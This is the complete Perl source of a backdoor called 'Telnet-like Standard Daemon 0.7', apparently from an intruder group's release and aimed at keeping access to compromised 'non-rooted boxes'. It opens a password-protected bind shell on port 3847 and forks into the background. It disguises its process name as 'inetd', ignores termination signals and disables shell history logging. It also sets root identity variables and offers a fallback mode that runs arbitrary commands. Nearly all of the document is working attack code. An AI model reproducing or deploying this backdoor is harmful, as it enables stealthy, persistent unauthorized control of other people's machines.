# Telnet-like Standard Daemon 0.7
#
#    0ldW0lf - oldwolf@atrixteam.net
#            - old-wolf@zipmai.com
#            - www.atrix.cjb.net
#            - www.atrixteam.net
#
#  For those guys that still like to open ports
#  and use non-rooted boxes
#
#  This has been developed to join in the TocToc
#  project code, now it's done and I'm distributing
#  this separated
#
#  This one i made without IO::Pty so it uses
#  only standard modules... enjoy it
#
#  tested on linux boxes.. probably will work fine on others
#  any problem... #atrix@irc.brasnet.org
#

##########################################################
# ******************* CONFIGURATION ******************** #
##########################################################
my $PORT        = $ARGV[0] || 3847;        # default port is 3847
my $PASS        = 'ouhEUhhJ6RbwE';         # encripted password
my $SHELL       = "/bin/bash";             # shell to be executed
my $HOME        = "/tmp";                  # your HOME
my $PROC        = "inetd";                 # name of the process
my $PASS_PROMPT = "Password: ";            # password prompt
my $WRONG_PASS  = "Password Errata!";       # "wrong password" message
my @STTY        = ('sane', 'dec');         # stty arguments
##########################################################

# feel free to change the ENV
#### ENVironment ####
$ENV{HOME}       = $HOME;
#$ENV{PS1}        = '[\u@\h \W]: '; # the way i like :)
                 # colorful PS1 is also funny :)
$ENV{PS1}        = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
$ENV{MAIL}       = '/var/mail/root';
$ENV{PATH}       = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
$ENV{HISTFILE}   = '/dev/null';
$ENV{USER}       = 'root';
$ENV{LOGNAME}    = 'root';
$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
$ENV{LS_COLORS}  = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:';
$ENV{SHELL}      = $SHELL;
$ENV{TERM}       = 'xterm';
#####################

$0=$PROC."\0";

use IO::Socket;
use IO::Select;
use POSIX;
use strict;

# i wouldn't change that
# if i were you
###### SIGnals ######
$SIG{HUP}  = 'IGNORE';
$SIG{PS}   = 'IGNORE';
$SIG{TERM} = 'IGNORE';
$SIG{CHLD} = sub { wait; };
#####################


# ioctl stuff
my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY}  = 0x5422;
$IOCTLDEF{TIOCSCTTY}  = 0x540E;
safeload('sys/ttycom.ph', 1); # BSD
safeload('sys/ioctl.ph', 1);
safeload('asm/ioctls.ph', 1);

foreach my $IOCTL (keys(%IOCTLDEF)) {
  next if (defined(&{$IOCTL}));

  if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux
    while(<IOD>) {
      if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
        eval "sub $IOCTL () {$1;}";
        last;
      }
    }
    close(IOD);
  }

  # i realy dunno if i can do that.. but.. here it goes
  eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
}


# starting...
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');

no strict 'refs';
my $bindfd = *{'bind_sock'};
*{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";
my $bind = \*{$bindfd};

my $pid = fork();
die "ERROR: I could not fork() the process." unless defined($pid);
exit if $pid;


my %CLIENT;
my $sel_serv = IO::Select->new($bind);
my $sel_shell = IO::Select->new();


# main loop...
while ( 1 ) {
  select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);

  read_clients();
  read_shells();
}

sub read_clients {
  map { read_client($_) } ($sel_serv->can_read(0.01));
}

sub read_client {
  my $fh = shift;

  if ($fh eq $bind) {
    my $newcon = $bind->accept;
    $sel_serv->add($newcon);
    $CLIENT{$newcon}->{senha} = 0;
    $CLIENT{$newcon}->{sock} = $newcon;
    $fh->autoflush(1);
    do_client($newcon, '3', '5', '1');
    sleep(1);
    write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);
  } else {
      my $msg;
      my $nread = sysread($fh, $msg, 1024);

      if ($nread == 0) {
        close_client($fh);
      } else {
         telnet_parse($fh, $msg);
      }
  }
}

sub read_shells {
  map { read_shell($_) } ($sel_shell->can_read(0.01));
}

sub telnet_parse {
  my ($cli, $msg) = @_;
  my $char = (split('', $msg))[0];

  if (ord($char) == 255) {
     chr_parse($cli, $msg);
  } else {
     if ($CLIENT{$cli}->{senha} == 0) {
       $CLIENT{$cli}->{buf} .= $msg;

       return() unless ($msg =~ /\r|\n/);

       my $pass = $CLIENT{$cli}->{buf};
       $CLIENT{$cli}->{buf} = '';

       $pass =~ s/\n//g;
       $pass =~ s/\0//g;
       $pass =~ s/\r//g;

       if (crypt($pass, $PASS) ne $PASS) {
         finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");
       } else {
          $CLIENT{$cli}->{senha} = 1;
          write_client($cli, chr(255).chr(253).chr(31));
          write_client($cli, "\r\n\r\r\n\r");
          new_shell($cli);
       }
       return();
     }

     $msg =~ s/\r\n\0\0//g;
     $msg =~ s/\0//g;
     $msg =~ s/\r\n/\n/g;
     write_shell($cli, $msg);
  }
}

sub read_shell {
  my $shell = shift;
  my $cli;
  map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);

  my $msg;
  my $nread = sysread($shell, $msg, 1024);
 
  if ($nread == 0) {
    finish_client($cli, "Terminal closed.\r\n\r");
  } else {
     write_client($cli, $msg);
  }
}

sub to_chr {
  my $chrs = '';
  map { $chrs .= chr($_) }  (split(/ +/, shift));
  return($chrs);
}

sub do_client {
  my ($client, @codes) = @_;
  map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}


sub chr_parse { 
  my ($client, $chrs) = @_;

  my $ords = '';
  map { $ords .= ord($_).' ' } (split(//, $chrs));
  my $msg = '';


  if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
     my $winsize = pack('C4', $4, $3, $2, $1);
     ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";
  }

  foreach my $code (split("255 ", $ords)) {
    if ($code =~ /(\d+) (.*)$/) {
      my $codes = $2;
      if ($1 == 251) {
        # do whatever you want dude ehehe
        $msg .= chr(255).chr(253);

        map { $msg .= chr($_) } (split(/ +/, $codes));
      }
    }
  }

  write_client($client, $msg) if ($msg);
  return(1);
}

sub new_shell {
  my $cli = shift;

  POSIX::setpgid(0, 0);

  my ($tty, $pty);

  unless (($tty, $pty) = open_tty($cli)) {
    finish_client($cli, "ERROR: No more pty´s avaliable\n");
    return(undef);
  }

  my $pid = fork();
  if (not defined($pid)) {
    finish_client($cli, "ERROR: fork()\n");
    return(undef);
  }

  unless($pid) {
    close($pty);

    local(*DEVTTY);

    if (open (DEVTTY, "/dev/tty")) {
      ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";
      close(DEVTTY);
    }

    POSIX::setsid();
    ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";

    open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";
    open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
    open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";
    close($tty);

    sleep(1);

    foreach my $stty ("/bin/stty", "/usr/bin/stty") {
      next unless (-x $stty);
      map { system("$stty", $_) } @STTY;
    }

    chdir("$HOME");
    { exec("$SHELL") };

    syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
    syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");
    syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");

    while (my $msg = <STDIN>) {
      $msg =~ s/\n$//;
      $msg =~ s/\r$//;

      if ($msg =~ /^\s*cd\s+(\S+)/) {
        my $notf = "directory $1 not found!\n";
        chdir($1) || syswrite(STDOUT, $notf, length($notf));
      } else {
         system("$msg 2>&1");
      }
      syswrite(STDOUT, "I'm FuCKeD!# ");
    }

    exit;
  }
  close($tty);

  select($pty); $| = 1;
  select(STDOUT);

  set_raw($pty);

  $CLIENT{$cli}->{shell} = $pty;
  $sel_shell->add($pty);

  return(1);
}



# Funciton set_raw() stolen from IO::Pty
sub set_raw($) {
  my $self = shift;
  return 1 if not POSIX::isatty($self);
  my $ttyno = fileno($self);
  my $termios = new POSIX::Termios;
  unless ($termios) {
#    warn "set_raw: new POSIX::Termios failed: $!";
    return undef;
  }
  unless ($termios->getattr($ttyno)) {
#    warn "set_raw: getattr($ttyno) failed: $!";
    return undef;
  }
  $termios->setiflag(0);
  $termios->setoflag(0);
  $termios->setlflag(0);
  $termios->setcc(&POSIX::VMIN, 1);
  $termios->setcc(&POSIX::VTIME, 0);
  unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
#    warn "set_raw: setattr($ttyno) failed: $!";
    return undef;
  }
  return 1;
}

sub open_tty {
  no strict;
  my $cli = shift;
  my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/

  
  for (my $i = 0; $i < 256; $i++) {
     my $pty = get_tty($i, "/dev/pty");
     next unless (open($PTY, "+> $pty"));

     my $tty = get_tty($i, "/dev/tty");

     unless(open($TTY, "+> $tty")) {
       close($PTY);
       next;
     }

     return($TTY, $PTY);

  }

  return();
}

sub get_tty {
  my ($num, $base) = @_;

  my @series = ('p' .. 'z', 'a' .. 'e');
  my @subs = ('0' .. '9', 'a' .. 'f');

  my $buf = $base;
  $buf .= @series[($num >> 4) & 0xF];
  $buf .= @subs[$num & 0xF];

  return($buf);
}

sub safeload {
  my ($module, $require, $arg) = @_;
  my $file = $module;
  $file =~ s/::/\//g;

  if ($require) {
    # all found gonna be loaded
    map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
  } else {
      $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
      return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
  }

  return();
}

sub write_shell {
  my ($cli, $msg) = @_;
  my $shell = $CLIENT{$cli}->{shell};

  return(undef) unless ($shell);

  foreach my $m (split_chars($msg, 20)) {
    read_shells();
    print $shell $m;
    read_shells();
  }
  return(1);
}

sub split_chars {
  my ($msg, $nchars) = @_;

  my @splited;
  my @chrs = split ('', $msg);
  my $done = 0;
  while ( 1 ) {
    my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
    $done += $nchars;
    last if (length($splited) < 1);
    push(@splited, $splited);
  }
  return(@splited);
}

sub finish_client {
  my ($cli, $msg) = @_;
  write_client($cli, $msg);
  close_client($cli);
}
   
sub close_client {
  my $cli = shift;
  my $sock = $CLIENT{$cli}->{sock};

  $sel_serv->remove($sock);
  if ($CLIENT{$cli}->{shell}) {
    my $shell = $CLIENT{$cli}->{shell};
    $sel_shell->remove($shell);
    close($shell);
  }
  $sock->close() if($sock);
  delete($CLIENT{$cli});
}

sub write_client {
   my ($cli, $msg) = @_;
   my $sock = $CLIENT{$cli}->{sock};
   syswrite($sock, $msg, length($msg)) if ($sock);
}